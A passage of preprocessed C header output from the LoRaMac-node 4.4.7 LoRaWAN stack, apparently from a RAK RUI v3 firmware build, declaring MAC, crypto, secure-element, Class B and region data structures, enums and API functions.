"/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionNvm.h" #define REGION_NVM_MAX_NB_CHANNELS 96 # 59 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionNvm.h" #define REGION_NVM_MAX_NB_BANDS 6 # 68 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionNvm.h" #define REGION_NVM_CHANNELS_MASK_SIZE 6 # 77 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionNvm.h" typedef struct sRegionNvmDataGroup1 { Band_t Bands[ 6 ]; uint16_t ChannelsMaskRemaining[ 6 ]; uint8_t JoinChannelGroupsCurrentIndex; uint8_t JoinTrialsCounter; uint32_t Crc32; }RegionNvmDataGroup1_t; typedef struct sRegionNvmDataGroup2 { ChannelParams_t Channels[ 96 ]; uint16_t ChannelsMask[ 6 ]; uint16_t ChannelsDefaultMask[ 6 ]; uint32_t Crc32; }RegionNvmDataGroup2_t; # 82 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/LoRaMac.h" 2 # 1 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/LoRaMacCryptoNvm.h" 1 # 34 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/LoRaMacCryptoNvm.h" #define __LORAMAC_CRYPTO_NVM_H__ # 49 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/LoRaMacCryptoNvm.h" typedef struct sFCntList { uint32_t FCntUp; uint32_t NFCntDown; uint32_t AFCntDown; uint32_t FCntDown; uint32_t McFCntDown[4]; }FCntList_t; typedef struct sLoRaMacCryptoNvmData { Version_t LrWanVersion; uint16_t DevNonce; uint32_t JoinNonce; FCntList_t FCntList; uint32_t LastDownFCnt; uint32_t Crc32; }LoRaMacCryptoNvmData_t; # 83 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/LoRaMac.h" 2 # 1 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/secure-element-nvm.h" 1 # 35 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/secure-element-nvm.h" #define __SECURE_ELEMENT_NVM_H__ # 48 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/secure-element-nvm.h" #define SE_KEY_SIZE 16 #define SE_EUI_SIZE 8 #define SE_PIN_SIZE 4 #define NUM_OF_KEYS 23 typedef struct sKey { KeyIdentifier_t KeyID; uint8_t KeyValue[16]; } Key_t; typedef struct sSecureElementNvCtx { uint8_t DevEui[8]; uint8_t JoinEui[8]; uint8_t Pin[4]; Key_t KeyList[23]; uint32_t Crc32; } SecureElementNvmData_t; # 84 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/LoRaMac.h" 2 # 1 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/LoRaMacClassBNvm.h" 1 # 34 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/LoRaMacClassBNvm.h" #define __LORAMACCLASSBNVM_H__ # 47 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/LoRaMacClassBNvm.h" typedef struct sLoRaMacClassBPingSlotNvmData { struct sPingSlotCtrlNvm { uint8_t Assigned : 1; uint8_t CustomFreq : 1; }Ctrl; uint8_t PingNb; uint16_t PingPeriod; uint32_t Frequency; int8_t Datarate; } LoRaMacClassBPingSlotNvmData_t; typedef struct sLoRaMacClassBBeaconNvmData { struct sBeaconCtrlNvm { uint8_t CustomFreq : 1; }Ctrl; uint32_t Frequency; } LoRaMacClassBBeaconNvmData_t; typedef struct sLoRaMacClassBNvmData { LoRaMacClassBPingSlotNvmData_t PingSlotCtx; LoRaMacClassBBeaconNvmData_t BeaconCtx; uint32_t Crc32; } LoRaMacClassBNvmData_t; # 85 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/LoRaMac.h" 2 #define MAX_ACK_RETRIES 8 #define UP_LINK 0 #define DOWN_LINK 1 #define LORA_MAC_MLME_CONFIRM_QUEUE_LEN 5 #define LORAMAC_CRYPTO_MULTICAST_KEYS 127 #define LORA_MAC_COMMAND_MAX_LENGTH 128 #define LORAMAC_NVM_NOTIFY_FLAG_NONE 0x00 #define LORAMAC_NVM_NOTIFY_FLAG_CRYPTO 0x01 #define LORAMAC_NVM_NOTIFY_FLAG_MAC_GROUP1 0x02 #define LORAMAC_NVM_NOTIFY_FLAG_MAC_GROUP2 0x04 #define LORAMAC_NVM_NOTIFY_FLAG_SECURE_ELEMENT 0x08 #define LORAMAC_NVM_NOTIFY_FLAG_REGION_GROUP1 0x10 #define LORAMAC_NVM_NOTIFY_FLAG_REGION_GROUP2 0x20 #define LORAMAC_NVM_NOTIFY_FLAG_CLASS_B 0x40 typedef enum eActivationType { ACTIVATION_TYPE_NONE = 0, ACTIVATION_TYPE_ABP = 1, ACTIVATION_TYPE_OTAA = 2, }ActivationType_t; typedef struct sRxChannelParams { uint32_t Frequency; uint8_t Datarate; }RxChannelParams_t; typedef enum eLoRaMacRxSlot { RX_SLOT_WIN_1, RX_SLOT_WIN_2, RX_SLOT_WIN_CLASS_C, RX_SLOT_WIN_CLASS_C_MULTICAST, RX_SLOT_WIN_CLASS_B_PING_SLOT, RX_SLOT_WIN_CLASS_B_MULTICAST_SLOT, RX_SLOT_NONE, }LoRaMacRxSlot_t; typedef struct sLoRaMacParams { uint32_t SystemMaxRxError; uint8_t MinRxSymbols; uint32_t MaxRxWindow; uint32_t ReceiveDelay1; uint32_t ReceiveDelay2; uint32_t JoinAcceptDelay1; uint32_t JoinAcceptDelay2; uint8_t ChannelsNbTrans; uint8_t Rx1DrOffset; RxChannelParams_t Rx2Channel; RxChannelParams_t RxCChannel; uint8_t UplinkDwellTime; uint8_t DownlinkDwellTime; float MaxEirp; float AntennaGain; }LoRaMacParams_t; typedef union uPingSlotInfo { uint8_t Value; struct sInfoFields { uint8_t Periodicity : 3; uint8_t RFU : 5; }Fields; }PingSlotInfo_t; typedef struct sBeaconInfo { SysTime_t Time; uint32_t Frequency; uint8_t Datarate; int16_t Rssi; int8_t Snr; struct sGwSpecific { uint8_t InfoDesc; uint8_t Info[6]; }GwSpecific; }BeaconInfo_t; typedef enum eLoRaMacEventInfoStatus { LORAMAC_EVENT_INFO_STATUS_OK = 0, LORAMAC_EVENT_INFO_STATUS_ERROR, LORAMAC_EVENT_INFO_STATUS_TX_TIMEOUT, LORAMAC_EVENT_INFO_STATUS_RX1_TIMEOUT, LORAMAC_EVENT_INFO_STATUS_RX2_TIMEOUT, LORAMAC_EVENT_INFO_STATUS_RX1_ERROR, LORAMAC_EVENT_INFO_STATUS_RX2_ERROR, LORAMAC_EVENT_INFO_STATUS_JOIN_FAIL, LORAMAC_EVENT_INFO_STATUS_DOWNLINK_REPEATED, LORAMAC_EVENT_INFO_STATUS_TX_DR_PAYLOAD_SIZE_ERROR, LORAMAC_EVENT_INFO_STATUS_DOWNLINK_TOO_MANY_FRAMES_LOSS, LORAMAC_EVENT_INFO_STATUS_ADDRESS_FAIL, LORAMAC_EVENT_INFO_STATUS_MIC_FAIL, LORAMAC_EVENT_INFO_STATUS_MULTICAST_FAIL, LORAMAC_EVENT_INFO_STATUS_BEACON_LOCKED, LORAMAC_EVENT_INFO_STATUS_BEACON_LOST, LORAMAC_EVENT_INFO_STATUS_BEACON_NOT_FOUND, }LoRaMacEventInfoStatus_t; typedef union eLoRaMacFlags_t { uint8_t Value; struct sMacFlagBits { uint8_t McpsReq : 1; uint8_t McpsInd : 1; uint8_t MlmeReq : 1; uint8_t MlmeInd : 1; uint8_t MlmeSchedUplinkInd : 1; uint8_t MacDone : 1; }Bits; }LoRaMacFlags_t; typedef enum eLoRaMacRegion { LORAMAC_REGION_AS923, LORAMAC_REGION_AU915, LORAMAC_REGION_CN470, LORAMAC_REGION_CN779, LORAMAC_REGION_EU433, LORAMAC_REGION_EU868, LORAMAC_REGION_KR920, LORAMAC_REGION_IN865, LORAMAC_REGION_US915, LORAMAC_REGION_RU864, }LoRaMacRegion_t; typedef struct sLoRaMacNvmDataGroup1 { uint32_t AdrAckCounter; UTIL_TIMER_Time_t LastTxDoneTime; UTIL_TIMER_Time_t AggregatedTimeOff; uint32_t LastRxMic; int8_t ChannelsTxPower; int8_t ChannelsDatarate; # 569 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/LoRaMac.h" 3 4 _Bool # 569 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/LoRaMac.h" SrvAckRequested; uint32_t Crc32; }LoRaMacNvmDataGroup1_t; typedef struct sLoRaMacNvmDataGroup2 { LoRaMacRegion_t Region; LoRaMacParams_t MacParams; LoRaMacParams_t MacParamsDefaults; int8_t ChannelsTxPowerDefault; int8_t ChannelsDatarateDefault; uint32_t NetID; uint32_t DevAddr; MulticastCtx_t MulticastChannelList[4]; DeviceClass_t DeviceClass; # 618 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/LoRaMac.h" 3 4 _Bool # 618 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/LoRaMac.h" PublicNetwork; # 622 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/LoRaMac.h" 3 4 _Bool # 622 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/LoRaMac.h" AdrCtrlOn; uint8_t MaxDCycle; # 631 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/LoRaMac.h" 3 4 _Bool # 631 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/LoRaMac.h" DutyCycleOn; uint16_t AggregatedDCycle; SysTime_t InitializationTime; Version_t Version; ActivationType_t NetworkActivation; uint32_t Crc32; }LoRaMacNvmDataGroup2_t; typedef struct sLoRaMacNvmData { LoRaMacCryptoNvmData_t Crypto; LoRaMacNvmDataGroup1_t MacGroup1; LoRaMacNvmDataGroup2_t MacGroup2; SecureElementNvmData_t SecureElement; RegionNvmDataGroup1_t RegionGroup1; RegionNvmDataGroup2_t RegionGroup2; LoRaMacClassBNvmData_t ClassB; }LoRaMacNvmData_t; # 720 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/LoRaMac.h" typedef enum eMcps { MCPS_UNCONFIRMED, MCPS_CONFIRMED, MCPS_MULTICAST, MCPS_PROPRIETARY, }Mcps_t; typedef struct sRequestReturnParam { UTIL_TIMER_Time_t DutyCycleWaitTime; }RequestReturnParam_t; typedef struct sMcpsReqUnconfirmed { uint8_t fPort; void* fBuffer; uint16_t fBufferSize; int8_t Datarate; }McpsReqUnconfirmed_t; typedef struct sMcpsReqConfirmed { uint8_t fPort; void* fBuffer; uint16_t fBufferSize; int8_t Datarate; # 823 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/LoRaMac.h" uint8_t NbTrials; }McpsReqConfirmed_t; typedef struct sMcpsReqProprietary { void* fBuffer; uint16_t fBufferSize; int8_t Datarate; }McpsReqProprietary_t; typedef struct sMcpsReq { Mcps_t Type; union uMcpsParam { McpsReqUnconfirmed_t Unconfirmed; McpsReqConfirmed_t Confirmed; McpsReqProprietary_t Proprietary; }Req; RequestReturnParam_t ReqReturn; }McpsReq_t; typedef struct sMcpsConfirm { Mcps_t McpsRequest; LoRaMacEventInfoStatus_t Status; uint8_t Datarate; int8_t TxPower; # 904 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/LoRaMac.h" 3 4 _Bool # 904 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/LoRaMac.h" AckReceived; uint8_t NbRetries; UTIL_TIMER_Time_t TxTimeOnAir; uint32_t UpLinkCounter; uint32_t Channel; }McpsConfirm_t; typedef struct sMcpsIndication { Mcps_t McpsIndication; LoRaMacEventInfoStatus_t Status; uint8_t Multicast; uint8_t Port; uint8_t RxDatarate; uint8_t FramePending; uint8_t* Buffer; uint8_t BufferSize; # 963 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/LoRaMac.h" 3 4 _Bool # 963 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/LoRaMac.h" RxData; int16_t Rssi; int8_t Snr; LoRaMacRxSlot_t RxSlot; # 979 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/LoRaMac.h" 3 4 _Bool # 979 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/LoRaMac.h" AckReceived; uint32_t DownLinkCounter; uint32_t DevAddress; # 991 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/LoRaMac.h" 3 4 _Bool # 991 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/LoRaMac.h" DeviceTimeAnsReceived; }McpsIndication_t; # 1018 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/LoRaMac.h" typedef enum eMlme { MLME_UNKNOWN, MLME_JOIN, MLME_REJOIN_0, MLME_REJOIN_1, MLME_LINK_CHECK, MLME_TXCW, MLME_TXCW_1, MLME_SCHEDULE_UPLINK, MLME_DERIVE_MC_KE_KEY, MLME_DERIVE_MC_KEY_PAIR, MLME_DEVICE_TIME, MLME_BEACON, MLME_BEACON_ACQUISITION, MLME_PING_SLOT_INFO, MLME_BEACON_TIMING, MLME_BEACON_LOST, }Mlme_t; typedef struct sMlmeReqJoin { uint8_t Datarate; }MlmeReqJoin_t; typedef struct sMlmeReqTxCw { uint16_t Timeout; uint32_t Frequency; int8_t Power; }MlmeReqTxCw_t; typedef struct sMlmeReqPingSlotInfo { PingSlotInfo_t PingSlot; }MlmeReqPingSlotInfo_t; typedef struct sMlmeReqDeriveMcKEKey { KeyIdentifier_t KeyID; uint16_t Nonce; uint8_t* DevEUI; }MlmeReqDeriveMcKEKey_t; typedef struct sMlmeReqDeriveMcSessionKeyPair { AddressIdentifier_t GroupID; }MlmeReqDeriveMcSessionKeyPair_t; typedef struct sMlmeReq { Mlme_t Type; union uMlmeParam { MlmeReqJoin_t Join; MlmeReqTxCw_t TxCw; MlmeReqPingSlotInfo_t PingSlotInfo; MlmeReqDeriveMcKEKey_t DeriveMcKEKey; MlmeReqDeriveMcSessionKeyPair_t DeriveMcSessionKeyPair; }Req; RequestReturnParam_t ReqReturn; }MlmeReq_t; typedef struct sMlmeConfirm { Mlme_t MlmeRequest; LoRaMacEventInfoStatus_t Status; UTIL_TIMER_Time_t TxTimeOnAir; uint8_t DemodMargin; uint8_t NbGateways; uint8_t NbRetries; UTIL_TIMER_Time_t BeaconTimingDelay; uint8_t BeaconTimingChannel; }MlmeConfirm_t; typedef struct sMlmeIndication { Mlme_t MlmeIndication; LoRaMacEventInfoStatus_t Status; BeaconInfo_t BeaconInfo; }MlmeIndication_t; # 1369 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/LoRaMac.h" typedef enum eMib { MIB_DEVICE_CLASS, MIB_NETWORK_ACTIVATION, MIB_DEV_EUI, MIB_JOIN_EUI, MIB_SE_PIN, MIB_ADR, MIB_NET_ID, MIB_DEV_ADDR, MIB_APP_KEY, MIB_NWK_KEY, MIB_J_S_INT_KEY, MIB_J_S_ENC_KEY, MIB_F_NWK_S_INT_KEY, MIB_S_NWK_S_INT_KEY, MIB_NWK_S_ENC_KEY, MIB_APP_S_KEY, MIB_MC_KE_KEY, MIB_MC_KEY_0, MIB_MC_APP_S_KEY_0, MIB_MC_NWK_S_KEY_0, MIB_MC_KEY_1, MIB_MC_APP_S_KEY_1, MIB_MC_NWK_S_KEY_1, MIB_MC_KEY_2, MIB_MC_APP_S_KEY_2, MIB_MC_NWK_S_KEY_2, MIB_MC_KEY_3, MIB_MC_APP_S_KEY_3, MIB_MC_NWK_S_KEY_3, MIB_PUBLIC_NETWORK, MIB_CHANNELS, MIB_RX2_CHANNEL, MIB_RX2_DEFAULT_CHANNEL, MIB_RXC_CHANNEL, MIB_RXC_DEFAULT_CHANNEL, MIB_CHANNELS_MASK, MIB_CHANNELS_DEFAULT_MASK, MIB_CHANNELS_NB_TRANS, MIB_MAX_RX_WINDOW_DURATION, MIB_RECEIVE_DELAY_1, MIB_RECEIVE_DELAY_2, MIB_JOIN_ACCEPT_DELAY_1, MIB_JOIN_ACCEPT_DELAY_2, MIB_CHANNELS_DEFAULT_DATARATE, MIB_CHANNELS_DATARATE, MIB_CHANNELS_TX_POWER, MIB_CHANNELS_DEFAULT_TX_POWER, MIB_SYSTEM_MAX_RX_ERROR, MIB_MIN_RX_SYMBOLS, # 1686 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/LoRaMac.h" MIB_ANTENNA_GAIN, # 1697 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/LoRaMac.h" MIB_DEFAULT_ANTENNA_GAIN, MIB_NVM_CTXS, MIB_ABP_LORAWAN_VERSION, MIB_LORAWAN_VERSION, MIB_BEACON_INTERVAL, MIB_BEACON_RESERVED, MIB_BEACON_GUARD, MIB_BEACON_WINDOW, MIB_BEACON_WINDOW_SLOTS, MIB_PING_SLOT_WINDOW, MIB_BEACON_SYMBOL_TO_DEFAULT, MIB_BEACON_SYMBOL_TO_EXPANSION_MAX, MIB_PING_SLOT_SYMBOL_TO_EXPANSION_MAX, MIB_BEACON_SYMBOL_TO_EXPANSION_FACTOR, MIB_PING_SLOT_SYMBOL_TO_EXPANSION_FACTOR, MIB_MAX_BEACON_LESS_PERIOD, MIB_PING_SLOT_DATARATE, }Mib_t; typedef union uMibParam { DeviceClass_t Class; ActivationType_t NetworkActivation; uint8_t* DevEui; uint8_t* JoinEui; uint8_t* SePin; # 1810 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/LoRaMac.h" 3 4 _Bool # 1810 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/LoRaMac.h" AdrEnable; uint32_t NetID; uint32_t DevAddr; uint8_t* AppKey; uint8_t* NwkKey; uint8_t* JSIntKey; uint8_t* JSEncKey; uint8_t* FNwkSIntKey; uint8_t* SNwkSIntKey; uint8_t* NwkSEncKey; uint8_t* AppSKey; uint8_t* McKEKey; uint8_t* McKey0; uint8_t* McAppSKey0; uint8_t* McNwkSKey0; uint8_t* McKey1; uint8_t* McAppSKey1; uint8_t* McNwkSKey1; uint8_t* McKey2; uint8_t* McAppSKey2; uint8_t* McNwkSKey2; uint8_t* McKey3; uint8_t* McAppSKey3; uint8_t* McNwkSKey3; # 1954 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/LoRaMac.h" 3 4 _Bool # 1954 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/LoRaMac.h" EnablePublicNetwork; ChannelParams_t* ChannelList; RxChannelParams_t Rx2Channel; RxChannelParams_t Rx2DefaultChannel; RxChannelParams_t RxCChannel; RxChannelParams_t RxCDefaultChannel; uint16_t* ChannelsMask; uint16_t* ChannelsDefaultMask; uint8_t ChannelsNbTrans; uint32_t MaxRxWindow; uint32_t ReceiveDelay1; uint32_t ReceiveDelay2; uint32_t JoinAcceptDelay1; uint32_t JoinAcceptDelay2; int8_t ChannelsDefaultDatarate; int8_t ChannelsDatarate; int8_t ChannelsDefaultTxPower; int8_t ChannelsTxPower; McChannelParams_t MulticastChannel; uint32_t SystemMaxRxError; uint8_t MinRxSymbols; float AntennaGain; float DefaultAntennaGain; LoRaMacNvmData_t* Contexts; Version_t AbpLrWanVersion; struct sLrWanVersion { Version_t LoRaWan; Version_t LoRaWanRegion; }LrWanVersion; uint32_t BeaconInterval; uint32_t BeaconReserved; uint32_t BeaconGuard; uint32_t BeaconWindow; uint32_t BeaconWindowSlots; uint32_t PingSlotWindow; uint32_t BeaconSymbolToDefault; uint32_t BeaconSymbolToExpansionMax; uint32_t PingSlotSymbolToExpansionMax; uint32_t BeaconSymbolToExpansionFactor; uint32_t PingSlotSymbolToExpansionFactor; uint32_t MaxBeaconLessPeriod; int8_t PingSlotDatarate; }MibParam_t; typedef struct eMibRequestConfirm { Mib_t Type; MibParam_t Param; }MibRequestConfirm_t; typedef struct sLoRaMacTxInfo { uint8_t MaxPossibleApplicationDataSize; uint8_t CurrentPossiblePayloadSize; }LoRaMacTxInfo_t; typedef enum eLoRaMacStatus { LORAMAC_STATUS_OK, LORAMAC_STATUS_BUSY, LORAMAC_STATUS_SERVICE_UNKNOWN, LORAMAC_STATUS_PARAMETER_INVALID, LORAMAC_STATUS_FREQUENCY_INVALID, LORAMAC_STATUS_DATARATE_INVALID, LORAMAC_STATUS_FREQ_AND_DR_INVALID, LORAMAC_STATUS_NO_NETWORK_JOINED, LORAMAC_STATUS_LENGTH_ERROR, LORAMAC_STATUS_REGION_NOT_SUPPORTED, LORAMAC_STATUS_SKIPPED_APP_DATA, # 2288 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/LoRaMac.h" LORAMAC_STATUS_DUTYCYCLE_RESTRICTED, LORAMAC_STATUS_NO_CHANNEL_FOUND, LORAMAC_STATUS_NO_FREE_CHANNEL_FOUND, LORAMAC_STATUS_BUSY_BEACON_RESERVED_TIME, LORAMAC_STATUS_BUSY_PING_SLOT_WINDOW_TIME, LORAMAC_STATUS_BUSY_UPLINK_COLLISION, LORAMAC_STATUS_CRYPTO_ERROR, LORAMAC_STATUS_FCNT_HANDLER_ERROR, LORAMAC_STATUS_MAC_COMMAD_ERROR, LORAMAC_STATUS_CLASS_B_ERROR, LORAMAC_STATUS_CONFIRM_QUEUE_ERROR, LORAMAC_STATUS_MC_GROUP_UNDEFINED, LORAMAC_STATUS_ERROR }LoRaMacStatus_t; typedef struct sLoRaMacPrimitives { void ( *MacMcpsConfirm )( McpsConfirm_t* McpsConfirm ); void ( *MacMcpsIndication )( McpsIndication_t* McpsIndication ); void ( *MacMlmeConfirm )( MlmeConfirm_t* MlmeConfirm ); void ( *MacMlmeIndication )( MlmeIndication_t* MlmeIndication ); }LoRaMacPrimitives_t; typedef struct sLoRaMacCallback { # 2384 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/LoRaMac.h" uint8_t ( *GetBatteryLevel )( void ); float ( *GetTemperatureLevel )( void ); void ( *NvmDataChange )( uint16_t notifyFlags ); void ( *MacProcessNotify )( void ); }LoRaMacCallback_t; static const uint8_t LoRaMacMaxEirpTable[] = { 8, 10, 12, 13, 14, 16, 18, 20, 21, 24, 26, 27, 29, 30, 33, 36 }; # 2435 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/LoRaMac.h" LoRaMacStatus_t LoRaMacInitialization( LoRaMacPrimitives_t* primitives, LoRaMacCallback_t* callbacks, LoRaMacRegion_t region ); # 2444 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/LoRaMac.h" LoRaMacStatus_t LoRaMacStart( void ); # 2453 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/LoRaMac.h" LoRaMacStatus_t LoRaMacStop( void ); # 2460 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/LoRaMac.h" 3 4 _Bool # 2460 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/LoRaMac.h" LoRaMacIsBusy( void ); void LoRaMacProcess( void ); # 2494 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/LoRaMac.h" LoRaMacStatus_t LoRaMacQueryTxPossible( uint8_t size, LoRaMacTxInfo_t* txInfo ); # 2512 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/LoRaMac.h" LoRaMacStatus_t LoRaMacChannelAdd( uint8_t id, ChannelParams_t params ); # 2526 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/LoRaMac.h" LoRaMacStatus_t LoRaMacChannelRemove( uint8_t id ); # 2541 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/LoRaMac.h" LoRaMacStatus_t LoRaMacMcChannelSetup( McChannelParams_t *channel ); # 2555 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/LoRaMac.h" LoRaMacStatus_t LoRaMacMcChannelDelete( AddressIdentifier_t groupID ); # 2565 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/LoRaMac.h" uint8_t LoRaMacMcChannelGetGroupId( uint32_t mcAddress ); # 2582 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/LoRaMac.h" LoRaMacStatus_t LoRaMacMcChannelSetupRxParams( AddressIdentifier_t groupID, McRxParams_t *rxParams, uint8_t *status ); # 2610 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/LoRaMac.h" LoRaMacStatus_t LoRaMacMibGetRequestConfirm( MibRequestConfirm_t* mibGet ); # 2641 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/LoRaMac.h" LoRaMacStatus_t LoRaMacMibSetRequestConfirm( MibRequestConfirm_t* mibSet ); # 2674 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/LoRaMac.h" LoRaMacStatus_t LoRaMacMlmeRequest( MlmeReq_t* mlmeRequest ); # 2708 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/LoRaMac.h" LoRaMacStatus_t LoRaMacMcpsRequest( McpsReq_t* mcpsRequest ); # 2720 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/LoRaMac.h" LoRaMacStatus_t LoRaMacDeInitialization( void ); # 64 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/Region.h" 2 # 1 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCommon.h" 1 # 66 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/Region.h" 2 #define LC(channelIndex) ( uint16_t )( 1 << ( channelIndex - 1 ) ) #define REGION_VERSION 0x00010003 typedef enum ePhyAttribute { PHY_FREQUENCY, PHY_MIN_RX_DR, PHY_MIN_TX_DR, PHY_MAX_RX_DR, PHY_MAX_TX_DR, PHY_TX_DR, PHY_DEF_TX_DR, PHY_RX_DR, PHY_MAX_TX_POWER, PHY_TX_POWER, PHY_DEF_TX_POWER, PHY_DEF_ADR_ACK_LIMIT, PHY_DEF_ADR_ACK_DELAY, PHY_MAX_PAYLOAD, PHY_DUTY_CYCLE, PHY_MAX_RX_WINDOW, PHY_RECEIVE_DELAY1, PHY_RECEIVE_DELAY2, PHY_JOIN_ACCEPT_DELAY1, PHY_JOIN_ACCEPT_DELAY2, PHY_MAX_FCNT_GAP, PHY_ACK_TIMEOUT, PHY_DEF_DR1_OFFSET, PHY_DEF_RX2_FREQUENCY, PHY_DEF_RX2_DR, PHY_CHANNELS_MASK, PHY_CHANNELS_DEFAULT_MASK, PHY_MAX_NB_CHANNELS, PHY_CHANNELS, PHY_DEF_UPLINK_DWELL_TIME, PHY_DEF_DOWNLINK_DWELL_TIME, PHY_DEF_MAX_EIRP, PHY_DEF_ANTENNA_GAIN, PHY_NEXT_LOWER_TX_DR, PHY_BEACON_INTERVAL, PHY_BEACON_RESERVED, PHY_BEACON_GUARD, PHY_BEACON_WINDOW, PHY_BEACON_WINDOW_SLOTS, PHY_PING_SLOT_WINDOW, PHY_BEACON_SYMBOL_TO_DEFAULT, PHY_BEACON_SYMBOL_TO_EXPANSION_MAX, PHY_PING_SLOT_SYMBOL_TO_EXPANSION_MAX, PHY_BEACON_SYMBOL_TO_EXPANSION_FACTOR, PHY_PING_SLOT_SYMBOL_TO_EXPANSION_FACTOR, PHY_MAX_BEACON_LESS_PERIOD, PHY_BEACON_DELAY_BEACON_TIMING_ANS, PHY_BEACON_CHANNEL_FREQ, PHY_BEACON_FORMAT, PHY_BEACON_CHANNEL_DR, 